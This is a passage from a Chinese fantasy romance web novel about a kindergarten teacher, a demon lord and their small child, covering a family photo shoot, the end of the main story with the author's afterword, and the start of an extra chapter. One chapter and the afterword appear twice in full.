陆无烬照例如一尊神像端坐在沙发上,陈此安在一旁汇报工作。 看到杨思昭回来,陈此安立即朝他笑,很快又恢复了严肃,继续汇报。 杨思昭忽然有些感慨,怎么陆无烬做人是将军,做神是神君,做妖是妖王。 而他做妖是只羊,做人是幼师? 太不公平了! 他刚想进厨房,陈此安就说:“杨老师不必麻烦,我已经安排人送过来了。” “谢、谢谢啊。”杨思昭搓搓手。 陈此安汇报完工作就离开了,快到五点,杨思昭摸了摸饿扁的肚子,问陆无烬:“晚饭什么时候来啊?” 话音刚落,门铃响了。 杨思昭眼睛一亮,“晚饭!” 他一个箭步冲过去开门,眠眠不明所以,连忙扔了小火车,追了过去。 一开门,“谢谢”还没说出口,就急转弯成一句变调的——“妈?” 秦慧娴被他吓了一跳:“没见过你妈啊?鬼叫什么呢?”说着就要进来。 “快让我进去,外面冻死人了!”她这次也没说完话,就变了声调——“这孩子怎么还在你家???” 她眨眨眼,杨思昭眨眨眼。 眠眠呆呆地望着他们,也跟着眨了眨眼,然后抱住了杨思昭的腿。他最近吃胖了些,脸圆圆的,一仰头,看着和杨思昭格外得像。 “妈,你听我解释!” 秦慧娴差点脑溢血,“你……你别告诉我,你跟我说的抱孙子,就是这个意思?” “我……”杨思昭完全慌了神,当着眠眠的面,他说不出任何谎话,而且他也是时候和父母坦白了。毕竟他肯定是要和陆无烬还有眠眠过一辈子的。 就在这时,陆无烬走了过来。 秦慧娴更懵了,“陆先生,你、你怎么也在?” 陆无烬走到门口,温和道:“伯母之前叮嘱我,为杨老师寻觅佳偶。” “是啊!”提到这个,秦慧娴忍不住说:“我以为您贵人多忘事,早忘了。” “我没忘,一直放在心上。” 秦慧娴重新燃起希望:“那……有合适的人选吗?” “有。” “谁?” “我,”陆无烬朝她伸出手,脸上露出前所未有的温柔笑容,“我毛遂自荐。” “伯母,我叫陆无烬,家世清白,工作稳定,员工若干,收入不菲,家底丰厚,名下财产皆可转移给杨老师。我对杨老师真心诚意,此生唯他一人,还望伯母评查。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 【END】 第48章 全家福由陈此安全权负责。 光是亲子装,他就挑了几十套,都被杨思昭否决,“陈助理,不要花花绿绿的衣服。” 杨思昭拿起一件粉色豹纹卫衣,问他:“你为什么觉得陆无烬会愿意穿这件?” 陈此安失望地收起他精心准备的衣服,杨思昭最大的问题就是心太软,看着他垂头丧气的模样,又喊住他,“留两套吧,在家里穿。” 陈此安立即转回来,两眼一亮。 杨思昭不知想到了什么,缓缓露出了神秘微笑,指着刚刚那套粉色豹纹卫衣。 “就这件。” 两人一拍即合,当天晚上,陆无烬看着床头的粉色豹纹卫衣,“什么意思?” 杨思昭已经把自己的那件穿在身上了,还把粉色豹纹小羊眠眠抱了出来。 “噔噔噔!是亲子装!” 眠眠呆呆地捧着小火车,看着自己忽然悬空的双脚,还不知道发生了什么。 他想起了动画片里有一只叫拉飞奇的山魈,对着草原上的动物举起了一只小狮子,于是他仰起头,配合着“嗷呜”了一声。 杨思昭笑出声来,把他举得更高。 眠眠冲着陆无烬龇起两排小米牙,装出凶巴巴的样子,“嗷呜——” 陆无烬没搭理他,自顾自躺到床上。 眠眠扁起嘴巴,委屈巴巴地低下头。杨思昭立即把他抱进怀里,揉了揉他,哄道:“妈妈陪眠眠玩,眠眠是小狮子还是小豹子?” 眠眠很快又恢复开朗,“是小羊!” 杨思昭一口咬住他的脸蛋,逗他:“妈妈变成豹子了,妈妈要吃掉眠眠。” 眠眠永远无条件配合妈妈,一边假装挣扎,一边“咩咩咩”地叫,好不容易钻出了杨思昭的怀抱,刚往前爬了两步,发现妈妈没有追上来,立即后退,重回危险。任由杨思昭咬住他的胳膊,还傻呵呵地笑。 两个人闹了好一会儿,眠眠都开始困了,趴在杨思昭的胸口,睡眼惺忪地问:“为什么,为什么爸爸不穿和我们一样的衣服?” 杨思昭立即望向陆无烬,学着眠眠的语气说:“是啊,爸爸为什么不穿呢?” 陆无烬还是装没听见。 但他没能坚持多久,几分钟之后,他转过头,就看见一大一小两只小羊正目光幽怨地望着他,好像他做了什么伤天害理的大事。 “……什么意思?” 杨思昭得逞了,拿起陆无烬那件粉色豹纹卫衣,眨眨眼,“亲子装,你也要穿。” “我给你买房子。”陆无烬诱惑他。 “不要。”杨思昭态度坚决。 陆无烬又去诱惑眠眠,“我给你买玩具,你上回要的飞机套装。” 眠眠一扭头,“不要!” “……”陆无烬拿他们没招了,只好坐起来,脱去睡衣。拿起粉色豹纹睡衣的时候,他的脸上还写满了嫌弃和不理解,但是两只小羊用灼灼的目光盯着他,生怕他临时反悔。 终究是穿上了。 卫衣下摆遮住了腹肌,宽阔的肩膀将卫衣的肩线完全撑了起来。明明是同一件衣服,穿在一家三口身上,变成了三种感觉。 陆无烬回头望向杨思昭,杨思昭看得有些呆,半晌才回过神,抱着眠眠,笑嘻嘻地挪到陆无烬的身边,拿出手机说:“看镜头。” 陆无烬抬眼,看到屏幕里的三张脸。 他往杨思昭的方向靠了靠,眠眠也努力伸长脖子,想要在妈妈的镜头里占据更多的面积。杨思昭说“三二一”,眠眠就咧嘴笑。 咔嚓,一张合照。 合照里,他垂眸看向眠眠,陆无烬看着他,眠眠睁着圆溜溜的眼睛看向镜头。 杨思昭心满意足。 他又提议:“再来一张做鬼脸的。” 陆无烬自然不会配合,于是杨思昭和眠眠不约而同地捏住了陆无烬的脸,一个捏左脸颊,一个捏右脸颊,同时望向镜头。 “茄子!” 咔嚓,又是一张。 陆无烬无奈地拂开两只作乱的手,杨思昭和眠眠笑着滚作一团,没一会儿,两个人渐渐安静了。陆无烬放下书,探身过去,看到两只小羊侧身躺着,已经在被子上睡熟了。 陆无烬走到床的另一边,把眠眠从杨思昭的臂弯里抱了出来,搭在肩头,把他送到了隔壁的儿童房。 小家伙现在对父亲这个角色已经建立了安全感,以前陆无烬想把他从杨思昭的怀里揪出来,得冒着父子情断的风险,如今的眠眠可以在熟睡中任由陆无烬摆布——虽然第二天早上醒来会生一小会儿的闷气。 他把眠眠放在小床里。 四岁半的眠眠已经不用睡宝宝床了,但杨思昭还是贴心地在床边安装了一圈木质围栏,床尾还有小楼梯。 陆无烬给眠眠盖上被子,把小熊玩偶放在他的手边,然后就关了灯,关上门。 回到卧室时,杨思昭已经迷迷糊糊醒了过来,揉了揉眼睛,一脸呆滞地望向突然出现在门口的陆无烬,“咦?已经早上了?” 陆无烬失笑,没回答他。 杨思昭自顾自地说:“时间过得好快,我觉得我才睡了几分钟,好困呐。” 他说着就要起床,被陆无烬圈住腰,抱回被窝,额头撞在陆无烬坚实的胸膛上。 “嘶——” 他捂着额头,“干嘛呀?” 话音未落,陆无烬的吻就覆了上来。 杨思昭直到被亲得七荤八素,才无意中瞥见窗帘缝隙外的暗夜,点点星光漏了进来,他微微偏头,重获呼吸,两手紧紧攥着陆无烬准备脱掉的粉色豹纹卫衣,笑着说:“你穿粉色,好看。” 陆无烬俯身咬住他的唇瓣。 “真的唔……真的好看。” “好嫩,一下子年轻了好几岁。” “你二十出头的时候,有没有人喜欢你?如果我那时候在你身边就好了。” 陆无烬停下来,吻他的动作变得轻柔,“边塞戍关的苦日子,你受不了的。” “我心甘情愿。”杨思昭捧住陆无烬的脸,主动贴了上去。 很快,陆无烬身上那件卫衣就没了踪影,连带着杨思昭身上的,也不见了。 果然穿什么衣服不重要,陆无烬不穿豹纹卫衣也可以化身豹子,而杨思昭穿了一整天,到了床上,依然是一只任其宰割的小绵羊。 陆无烬饿了几百年,倒也不急着吃,他吃得慢条斯理、心平气和,这可苦了杨思昭。到最后,他总是主动圈住陆无烬的脖子,可怜巴巴地央求他:“给我吧。” 陆无烬不回答,直勾勾地看着他,良久之后,才满足杨思昭的愿望。 以至于第二天,拍全家福的时候,化妆师给杨思昭上了三遍遮瑕,才遮盖住他的黑眼圈。 杨思昭朝化妆师干笑两声,欲盖弥彰:“我昨晚……备课备到凌晨三点。” 化妆师信以为真,“您辛苦了。” 全家福拍了三个主题,杨思昭原本以为陆无烬会嫌麻烦,可陆无烬没有,他全程都很配合,甚至当摄影师要求他把眠眠抱在腿上的时候,他也照做不误。 杨思昭和眠眠一脸惊讶地望向他。 摄影师刚好抓拍到这个画面。 杨思昭还邀请了父母,一起拍了全家福,秦慧娴女士的审美倒是和陈此安一拍即合,刷着陆无烬的卡,买了一身花红柳绿的旗袍,袅娜多姿地走过来。 杨思昭:“……富太您哪位?” 秦慧娴随手扔了一条围巾给他,又从包里拿出另一条,“眠眠!” “奶奶!”眠眠小火箭一样冲了过来。 “哎哟,瘦了瘦了,”秦慧娴摸了摸眠眠的小脸,“就说你们回去的时候不要每次都带着眠眠,放在我们那里就好了,宝宝哪里经得住这样来回奔波?” 杨思昭扯了扯嘴角。 哪里瘦了,明明比上次胖了三斤? 眠眠最会向秦慧娴撒娇了,他抱住秦慧娴的脖子,软声说:“奶奶,我想和爸爸妈妈一起回青竹林,但是奶奶要是想眠眠了,眠眠就去陪奶奶。”说着就靠在秦慧娴的肩头。 秦慧娴早就忘了眠眠是小妖怪这件事,她把眠眠抱在怀里,爱不释手。 “这是奶奶给眠眠织的围巾。” 她又从包里拿出一条大的,递给了陆无烬,陆无烬浅笑颔首:“谢谢妈。” 拍摄行程结束,几天后,杨思昭又回到洵山,和他的爹娘拍了全家福。 看着爹娘苍老的面庞,杨思昭忽然明白了人为何总想追求长生不老,饶是百年寿命的妖,也有韶华不再的一天。 幸好,爱是永恒的. 又是早晨八点二十,杨思昭走进教室,打开窗户,让晨光洒进窗明几净的教室,做好准备之后他走到幼儿园门口。 眠眠滑下滑滑梯,跑到他的身边,和他一起等待着小(5)班朋友们的到来。 不过这一次,没等到朋友,先等来了裴怀谦和许曜。 “裴先生。”杨思昭有些惊讶。 裴怀谦一身衬衣西裤,还是儒雅温柔的模样,他告诉杨思昭:“我原本是要受罚的,可仙师说人间还有我的亲人在盼着我,让我过好这一世,也算一件功德。” 他回头望向许曜:“臭小子,是你盼着我,是不是?” 许曜冷笑,“怎么可能?” 说完就大步迈进了幼儿园。 杨思昭抿唇笑,他朝裴怀谦伸出手,莞尔道:“欢迎回来。” “谢谢。” “小羊老师!”一个熟悉的声音钻进耳朵,杨思昭循声望去,看到了乐乐松开齐妍的手,背着小书包朝他跑过来。 紧接着,是圈圈、小池。 还有方小盼和方小望。 明明上周五才分开,五只小妖怪已经度日如年,恨不得挂在杨思昭的身上。 圈圈最先发现眠眠,扬声道:“眠眠在那里!” 眠眠连连后退,也抵不过又吃胖一圈的圈圈,很快六只小妖怪就滚到了一起,随着杨思昭一声令下,小妖怪们又迅速站好,排成小火车的队形,向小(5)班跑去。 杨思昭跟在他们后面。 快要升中班的小家伙们需要学习一些新的功课,杨思昭自制了各种教具,试图把小妖怪们的平均智商提升到普通人类幼崽水平。可是小妖怪们对数学并不感兴趣,听到加减法就开始吵吵闹闹,杨思昭只好拿出杀手锏—— “不听讲是吧,我让妖王来!让他来看看小(5)班的小朋友有多不听话!” 除了眠眠,其他小妖怪瞬间噤如寒蝉。 “能不能认真上课?”杨思昭装凶。 小妖怪们弱弱道:“能。” 圈圈最害怕陆无烬了,他小心翼翼地问杨思昭:“小羊老师,我刚刚只吃了一块牛肉干,你可以不要告诉尊主大人吗?” 很快,方小盼也开始不打自招,“我拿了一张小池的画纸,我现在就还回去,小羊老师,求你不要告诉尊主大人呜呜呜……” 杨思昭差点没忍住笑,“好,我不告诉他。” 他指了指小黑板,“谁能告诉我,一加三等于几?” 眠眠高高地举起手,“四!” 杨思昭顿感欣慰。 时间过得很快。 一晃眼,四点了。 杨思昭照例帮小家伙们穿上外套和鞋子,帮他们检查书包和水杯,正要出门,就看到门口落下一道影子。 他怔怔地抬起头,看到了陆无烬。 像很久之前的那次一样,陆无烬穿着浅灰色大衣,倚在门口,他身形修长而挺拔,不笑时看着疏冷矜贵。望向杨思昭的时候,眉梢微扬,眼中瞬间如雪融化,溢出淡淡的笑意。 他问:“小羊老师,几点了,还不下班?” 杨思昭朝他笑。 正值夕阳西落,暮色四合,杨思昭和陆无烬牵着眠眠的手往家的方向走。 走过四季,走过人间。 走过荆棘载途,走过地老天荒。 作者有话说: 正文到这里就结束了,之后还会有几章番外。 首先向大家道个歉,这本很多读者抱以期待,我自己在落笔之初也是很期待的,但工作的忙碌突然打乱了我的状态,以至于多次请假,每天都迟到,让大家的阅读体验打了折扣,实在不好意思。 其次这一本我感觉没有发挥好,最近一段时间身心状态都不太好,工作中诸事不顺,让我的情绪很低落,包括这两天又重感冒,交出这个成品,让我有点愧疚, 最后,评论区发100个小红包,明天开始更番外,小情侣的甜蜜play、孕期、爸爸带娃日常……都会有的[亲亲][亲亲] 爱大家,祝所有追更的宝宝们万事胜意[撒花][撒花]魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 【END】 第48章 全家福由陈此安全权负责。 光是亲子装,他就挑了几十套,都被杨思昭否决,“陈助理,不要花花绿绿的衣服。” 杨思昭拿起一件粉色豹纹卫衣,问他:“你为什么觉得陆无烬会愿意穿这件?” 陈此安失望地收起他精心准备的衣服,杨思昭最大的问题就是心太软,看着他垂头丧气的模样,又喊住他,“留两套吧,在家里穿。” 陈此安立即转回来,两眼一亮。 杨思昭不知想到了什么,缓缓露出了神秘微笑,指着刚刚那套粉色豹纹卫衣。 “就这件。” 两人一拍即合,当天晚上,陆无烬看着床头的粉色豹纹卫衣,“什么意思?” 杨思昭已经把自己的那件穿在身上了,还把粉色豹纹小羊眠眠抱了出来。 “噔噔噔!是亲子装!” 眠眠呆呆地捧着小火车,看着自己忽然悬空的双脚,还不知道发生了什么。 他想起了动画片里有一只叫拉飞奇的山魈,对着草原上的动物举起了一只小狮子,于是他仰起头,配合着“嗷呜”了一声。 杨思昭笑出声来,把他举得更高。 眠眠冲着陆无烬龇起两排小米牙,装出凶巴巴的样子,“嗷呜——” 陆无烬没搭理他,自顾自躺到床上。 眠眠扁起嘴巴,委屈巴巴地低下头。杨思昭立即把他抱进怀里,揉了揉他,哄道:“妈妈陪眠眠玩,眠眠是小狮子还是小豹子?” 眠眠很快又恢复开朗,“是小羊!” 杨思昭一口咬住他的脸蛋,逗他:“妈妈变成豹子了,妈妈要吃掉眠眠。” 眠眠永远无条件配合妈妈,一边假装挣扎,一边“咩咩咩”地叫,好不容易钻出了杨思昭的怀抱,刚往前爬了两步,发现妈妈没有追上来,立即后退,重回危险。任由杨思昭咬住他的胳膊,还傻呵呵地笑。 两个人闹了好一会儿,眠眠都开始困了,趴在杨思昭的胸口,睡眼惺忪地问:“为什么,为什么爸爸不穿和我们一样的衣服?” 杨思昭立即望向陆无烬,学着眠眠的语气说:“是啊,爸爸为什么不穿呢?” 陆无烬还是装没听见。 但他没能坚持多久,几分钟之后,他转过头,就看见一大一小两只小羊正目光幽怨地望着他,好像他做了什么伤天害理的大事。 “……什么意思?” 杨思昭得逞了,拿起陆无烬那件粉色豹纹卫衣,眨眨眼,“亲子装,你也要穿。” “我给你买房子。”陆无烬诱惑他。 “不要。”杨思昭态度坚决。 陆无烬又去诱惑眠眠,“我给你买玩具,你上回要的飞机套装。” 眠眠一扭头,“不要!” “……”陆无烬拿他们没招了,只好坐起来,脱去睡衣。拿起粉色豹纹睡衣的时候,他的脸上还写满了嫌弃和不理解,但是两只小羊用灼灼的目光盯着他,生怕他临时反悔。 终究是穿上了。 卫衣下摆遮住了腹肌,宽阔的肩膀将卫衣的肩线完全撑了起来。明明是同一件衣服,穿在一家三口身上,变成了三种感觉。 陆无烬回头望向杨思昭,杨思昭看得有些呆,半晌才回过神,抱着眠眠,笑嘻嘻地挪到陆无烬的身边,拿出手机说:“看镜头。” 陆无烬抬眼,看到屏幕里的三张脸。 他往杨思昭的方向靠了靠,眠眠也努力伸长脖子,想要在妈妈的镜头里占据更多的面积。杨思昭说“三二一”,眠眠就咧嘴笑。 咔嚓,一张合照。 合照里,他垂眸看向眠眠,陆无烬看着他,眠眠睁着圆溜溜的眼睛看向镜头。 杨思昭心满意足。 他又提议:“再来一张做鬼脸的。” 陆无烬自然不会配合,于是杨思昭和眠眠不约而同地捏住了陆无烬的脸,一个捏左脸颊,一个捏右脸颊,同时望向镜头。 “茄子!” 咔嚓,又是一张。 陆无烬无奈地拂开两只作乱的手,杨思昭和眠眠笑着滚作一团,没一会儿,两个人渐渐安静了。陆无烬放下书,探身过去,看到两只小羊侧身躺着,已经在被子上睡熟了。 陆无烬走到床的另一边,把眠眠从杨思昭的臂弯里抱了出来,搭在肩头,把他送到了隔壁的儿童房。 小家伙现在对父亲这个角色已经建立了安全感,以前陆无烬想把他从杨思昭的怀里揪出来,得冒着父子情断的风险,如今的眠眠可以在熟睡中任由陆无烬摆布——虽然第二天早上醒来会生一小会儿的闷气。 他把眠眠放在小床里。 四岁半的眠眠已经不用睡宝宝床了,但杨思昭还是贴心地在床边安装了一圈木质围栏,床尾还有小楼梯。 陆无烬给眠眠盖上被子,把小熊玩偶放在他的手边,然后就关了灯,关上门。 回到卧室时,杨思昭已经迷迷糊糊醒了过来,揉了揉眼睛,一脸呆滞地望向突然出现在门口的陆无烬,“咦?已经早上了?” 陆无烬失笑,没回答他。 杨思昭自顾自地说:“时间过得好快,我觉得我才睡了几分钟,好困呐。” 他说着就要起床,被陆无烬圈住腰,抱回被窝,额头撞在陆无烬坚实的胸膛上。 “嘶——” 他捂着额头,“干嘛呀?” 话音未落,陆无烬的吻就覆了上来。 杨思昭直到被亲得七荤八素,才无意中瞥见窗帘缝隙外的暗夜,点点星光漏了进来,他微微偏头,重获呼吸,两手紧紧攥着陆无烬准备脱掉的粉色豹纹卫衣,笑着说:“你穿粉色,好看。” 陆无烬俯身咬住他的唇瓣。 “真的唔……真的好看。” “好嫩,一下子年轻了好几岁。” “你二十出头的时候,有没有人喜欢你?如果我那时候在你身边就好了。” 陆无烬停下来,吻他的动作变得轻柔,“边塞戍关的苦日子,你受不了的。” “我心甘情愿。”杨思昭捧住陆无烬的脸,主动贴了上去。 很快,陆无烬身上那件卫衣就没了踪影,连带着杨思昭身上的,也不见了。 果然穿什么衣服不重要,陆无烬不穿豹纹卫衣也可以化身豹子,而杨思昭穿了一整天,到了床上,依然是一只任其宰割的小绵羊。 陆无烬饿了几百年,倒也不急着吃,他吃得慢条斯理、心平气和,这可苦了杨思昭。到最后,他总是主动圈住陆无烬的脖子,可怜巴巴地央求他:“给我吧。” 陆无烬不回答,直勾勾地看着他,良久之后,才满足杨思昭的愿望。 以至于第二天,拍全家福的时候,化妆师给杨思昭上了三遍遮瑕,才遮盖住他的黑眼圈。 杨思昭朝化妆师干笑两声,欲盖弥彰:“我昨晚……备课备到凌晨三点。” 化妆师信以为真,“您辛苦了。” 全家福拍了三个主题,杨思昭原本以为陆无烬会嫌麻烦,可陆无烬没有,他全程都很配合,甚至当摄影师要求他把眠眠抱在腿上的时候,他也照做不误。 杨思昭和眠眠一脸惊讶地望向他。 摄影师刚好抓拍到这个画面。 杨思昭还邀请了父母,一起拍了全家福,秦慧娴女士的审美倒是和陈此安一拍即合,刷着陆无烬的卡,买了一身花红柳绿的旗袍,袅娜多姿地走过来。 杨思昭:“……富太您哪位?” 秦慧娴随手扔了一条围巾给他,又从包里拿出另一条,“眠眠!” “奶奶!”眠眠小火箭一样冲了过来。 “哎哟,瘦了瘦了,”秦慧娴摸了摸眠眠的小脸,“就说你们回去的时候不要每次都带着眠眠,放在我们那里就好了,宝宝哪里经得住这样来回奔波?” 杨思昭扯了扯嘴角。 哪里瘦了,明明比上次胖了三斤? 眠眠最会向秦慧娴撒娇了,他抱住秦慧娴的脖子,软声说:“奶奶,我想和爸爸妈妈一起回青竹林,但是奶奶要是想眠眠了,眠眠就去陪奶奶。”说着就靠在秦慧娴的肩头。 秦慧娴早就忘了眠眠是小妖怪这件事,她把眠眠抱在怀里,爱不释手。 “这是奶奶给眠眠织的围巾。” 她又从包里拿出一条大的,递给了陆无烬,陆无烬浅笑颔首:“谢谢妈。” 拍摄行程结束,几天后,杨思昭又回到洵山,和他的爹娘拍了全家福。 看着爹娘苍老的面庞,杨思昭忽然明白了人为何总想追求长生不老,饶是百年寿命的妖,也有韶华不再的一天。 幸好,爱是永恒的. 又是早晨八点二十,杨思昭走进教室,打开窗户,让晨光洒进窗明几净的教室,做好准备之后他走到幼儿园门口。 眠眠滑下滑滑梯,跑到他的身边,和他一起等待着小(5)班朋友们的到来。 不过这一次,没等到朋友,先等来了裴怀谦和许曜。 “裴先生。”杨思昭有些惊讶。 裴怀谦一身衬衣西裤,还是儒雅温柔的模样,他告诉杨思昭:“我原本是要受罚的,可仙师说人间还有我的亲人在盼着我,让我过好这一世,也算一件功德。” 他回头望向许曜:“臭小子,是你盼着我,是不是?” 许曜冷笑,“怎么可能?” 说完就大步迈进了幼儿园。 杨思昭抿唇笑,他朝裴怀谦伸出手,莞尔道:“欢迎回来。” “谢谢。” “小羊老师!”一个熟悉的声音钻进耳朵,杨思昭循声望去,看到了乐乐松开齐妍的手,背着小书包朝他跑过来。 紧接着,是圈圈、小池。 还有方小盼和方小望。 明明上周五才分开,五只小妖怪已经度日如年,恨不得挂在杨思昭的身上。 圈圈最先发现眠眠,扬声道:“眠眠在那里!” 眠眠连连后退,也抵不过又吃胖一圈的圈圈,很快六只小妖怪就滚到了一起,随着杨思昭一声令下,小妖怪们又迅速站好,排成小火车的队形,向小(5)班跑去。 杨思昭跟在他们后面。 快要升中班的小家伙们需要学习一些新的功课,杨思昭自制了各种教具,试图把小妖怪们的平均智商提升到普通人类幼崽水平。可是小妖怪们对数学并不感兴趣,听到加减法就开始吵吵闹闹,杨思昭只好拿出杀手锏—— “不听讲是吧,我让妖王来!让他来看看小(5)班的小朋友有多不听话!” 除了眠眠,其他小妖怪瞬间噤如寒蝉。 “能不能认真上课?”杨思昭装凶。 小妖怪们弱弱道:“能。” 圈圈最害怕陆无烬了,他小心翼翼地问杨思昭:“小羊老师,我刚刚只吃了一块牛肉干,你可以不要告诉尊主大人吗?” 很快,方小盼也开始不打自招,“我拿了一张小池的画纸,我现在就还回去,小羊老师,求你不要告诉尊主大人呜呜呜……” 杨思昭差点没忍住笑,“好,我不告诉他。” 他指了指小黑板,“谁能告诉我,一加三等于几?” 眠眠高高地举起手,“四!” 杨思昭顿感欣慰。 时间过得很快。 一晃眼,四点了。 杨思昭照例帮小家伙们穿上外套和鞋子,帮他们检查书包和水杯,正要出门,就看到门口落下一道影子。 他怔怔地抬起头,看到了陆无烬。 像很久之前的那次一样,陆无烬穿着浅灰色大衣,倚在门口,他身形修长而挺拔,不笑时看着疏冷矜贵。望向杨思昭的时候,眉梢微扬,眼中瞬间如雪融化,溢出淡淡的笑意。 他问:“小羊老师,几点了,还不下班?” 杨思昭朝他笑。 正值夕阳西落,暮色四合,杨思昭和陆无烬牵着眠眠的手往家的方向走。 走过四季,走过人间。 走过荆棘载途,走过地老天荒。 作者有话说: 正文到这里就结束了,之后还会有几章番外。 首先向大家道个歉,这本很多读者抱以期待,我自己在落笔之初也是很期待的,但工作的忙碌突然打乱了我的状态,以至于多次请假,每天都迟到,让大家的阅读体验打了折扣,实在不好意思。 其次这一本我感觉没有发挥好,最近一段时间身心状态都不太好,工作中诸事不顺,让我的情绪很低落,包括这两天又重感冒,交出这个成品,让我有点愧疚, 最后,评论区发100个小红包,明天开始更番外,小情侣的甜蜜play、孕期、爸爸带娃日常……都会有的[亲亲][亲亲] 爱大家,祝所有追更的宝宝们万事胜意[撒花][撒花]魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 49、第49章... 杨思昭渐渐发现,遗传这两个字真是亘古不变的真理。 之前他还觉得眠眠和他是一个模子刻出来的,可相处时间久了,他才意识到,小家伙在很多方面像极了陆无烬。 譬如固执,俗称犟种。 明明之前也有过父慈子孝的温馨时刻,但两个人始终不肯敞开心扉,中间总像是隔了一层膜,不够亲近。尤其是在争夺杨思昭夜晚的陪伴权这件事上,陆无烬和眠眠之间的矛盾就更深了。 原本他们约好了,眠眠独自在儿童房睡觉,但是遇到电闪雷鸣等极端天气,他就可以去隔壁和爸爸妈妈一起睡。 可是,某次响雷后的暴雨夜,眠眠窝在杨思昭的怀里熟睡之后,陆无烬照例把他抱回儿童房,结果半路,眠眠醒了。 两个人大眼瞪小眼。 "…" 三秒后,卧室外传来痛哭声。 “爸爸妈妈骗我!!!” 陆无烬拿他没招,只好把他扔回到杨思昭的怀里,父子俩因此冷战了两天。 期间杨思昭多次从中调和,都没什么用,眠眠以前还有些小怯懦,现在有了许多人的宠爱,也变得娇气起来,抱着小火车,一扭头,气呼呼地说:“不要爸爸!” 杨思昭试图和陆无烬一起承担责任:“其实那天晚上是妈妈让爸爸…” 话音未落,就看到眠眠泪眼婆娑地扁起嘴巴。 杨思昭立即抛下队友:“是爸爸自作主张,妈妈想和眠眠一起睡的!” 眠眠这才满意。 他坐在杨思昭的怀里,小声说:“除非……除非爸爸来……” 他的声音太小,杨思昭听不清,凑近了问:“眠眠想要爸爸做什么?” 眠眠又抿起嘴巴,一声不吭了。 然而那边的陆无烬,仍是视若无睹,忙着处理妖界的事务,压根懒得管眠眠。 冷战持续到第三天,杨思昭被夹在两人之间实在精疲力竭,他做了一个决定。 ——让陆无烬单独带眠眠两天。 他以带父母回老家为名,把陆无烬和眠眠留在家里,并且叮嘱陆无烬:“请你把眠眠照顾好了,不可以把责任 推给陈助理,家里的灵眼一个不差,我每个小时都会看,你和眠眠必须在同一个空间里!”陆无烬坐在沙发里,不以为意。 而眠眠看起来一副“天塌了”的样子,两眼通红,嘴巴成了波浪形,两只小手可怜巴巴地攥住杨思昭的衣摆:“妈妈带眠眠一起去,眠眠要和妈妈在一起。” 杨思昭狠了狠心,没答应,这一次势必要缓和父子俩的关系。 他蹲下来对眠眠说:“就两天,眠眠坚强一点,帮妈妈照顾爸爸,好不好?” 眠眠抽抽噎噎地摇头。 “眠眠想和妈妈单独在一起,妈妈也想和爸爸妈妈单独在一起啊,眠眠连这个小愿望都不让妈妈实现吗?” 听到杨思昭这样说,眠眠立即停止了抽噎,抹了眼泪说:“不是的。” 过了好久,他终于点头:“好吧。” 但还是依依不舍,抓着杨思昭的手说:“妈妈你早点回来,妈妈每天都要和眠眠打电话,晚上要打电话。” “好,一定给眠眠打电话。” 杨思昭深吸一口气,果断地关上门。 下一秒,他就把耳朵贴在门上,听着里面的声音,可是里面实在安静,连脚步声都听不见,直到秦慧娴打电话催他,他才一步三回头,不放心地离开了。屋子里,眠眠抱着小火车坐在地毯上,陆无烬坐在侧边单人沙发上,两个人在同一个空间里成对角线的方向对峙。 十分钟后,眠眠开始玩小飞机,陆无烬放下汇报公务的灵册,换了本书。 一个小时后,眠眠打开电视机,陆无烬拿出手机。 两个小时后,眠眠趴在地毯上呼呼大睡,陆无烬在看电视节目。 很快,他就接到了杨思昭的电话。 “陆无烬!” 陆无烬按了按耳朵,避重就轻:“到哪里了?”“不许转移话题!你就是这么照顾眠眠的?”陆无烬有自己的歪理:“小羊就该放养。”“很好,那我也去乡下放养了。” 陆无烬沉默片刻,望向地上窝成一团的眠眠,电话那头的杨思昭说:“起码把他抱到沙发上睡,地毯又冷又不干净。” “知道了。” 挂了电话,陆无烬起身走到眠眠身边,小家伙抱着玩偶小熊,蜷缩在茶几旁,睡得不是很安稳,因为妈妈离开而哭红的眼角还没有恢复,看着委屈极了。 陆无烬俯下身,把他抱了起来,还没等运到沙发上,眠眠就醒了。 又是一阵大眼瞪小眼。 眠眠扭头不看他。 陆无烬决定和他讲道理,“你不是四岁的孩子,从年龄上来说,你已经是一只三百年的小妖了,为什么总是长不大?” 眠眠鼻尖红红,眼看着又要哭。 “因为妈妈太惯着你了。” 眠眠在陆无烬的怀抱里拼命挣扎,“不要你,不要你。” 陆无烬只好把他放下,眠眠一溜烟跑进儿童房,关上门,缩在被窝里想妈妈。 直到晚上,陆无烬做好晚餐,眠眠都不肯出来吃。 他敲了敲门,眠眠不出声。 他又敲了一遍,眠眠还是不应。 眠眠坐在小床边,他等着爸爸敲第三遍,他对自己说:只要爸爸敲第三遍门,他就原谅爸爸了。 可他等了好久好久,都没有等到。 硕大的泪珠掉在小熊上。 他真的讨厌爸爸了,爸爸说的爱他都是假话,爸爸心里只有妈妈。 他走到门口,踮脚握住门把手,用力打开门,门外漏进一束灯光,映在他泪眼朦胧的小脸上,他抬起头,呆住了。 爸爸站在门口看着他。 门缝一点一点拉大,陆无烬蹲下来,温声问他:“饿不饿?爸爸做了鸡汤面。” 眠眠终究是没忍住,放下小熊,扑过去抱住了陆无烬的脖子,陆无烬圈住他的小屁股,一把将他托了起来。 … “爸爸不喜欢眠眠。”眠眠呜咽着说:“爸爸只对眠眠凶巴巴。” 陆无烬无奈地叹气,“没有。” “就是有!眠眠只是想睡在爸爸妈妈中间,爸爸每次都把眠眠赶走。”“爸爸也不对眠眠笑,上次在幼儿园,爸爸对乐乐笑了,都不对我笑。”“乐乐爸爸还给她做灯笼,做裙子,爸爸从来不会想着眠眠…” 小家伙一句接着一句的控诉,简直让陆无烬百口莫辩,他向来不善言辞,也不善于扮演好父亲的角色,他只能僵硬地伸出手,轻轻拍了拍眠眠的后背。 “眠眠。” 忽然听到陆无烬的声音,眠眠停下来,把脸埋在陆无烬的肩头闷声抽噎。 “因为妈妈是你的幼儿园老师,你们二十四小时待在一起,爸爸认为你不缺少陪伴,再加上爸爸工作忙,所以在这方面做得不够好。确实不好,爸爸承认。” 眠眠逐渐平静下来。 “在你很小很小的时候,爸爸为了保护你,把你放在寒珀之中三百年。如果那三百年,你在爸爸身边长大,爸爸 定知道怎么和你相处,但是爸爸错过了。” 眠眠抬起头。 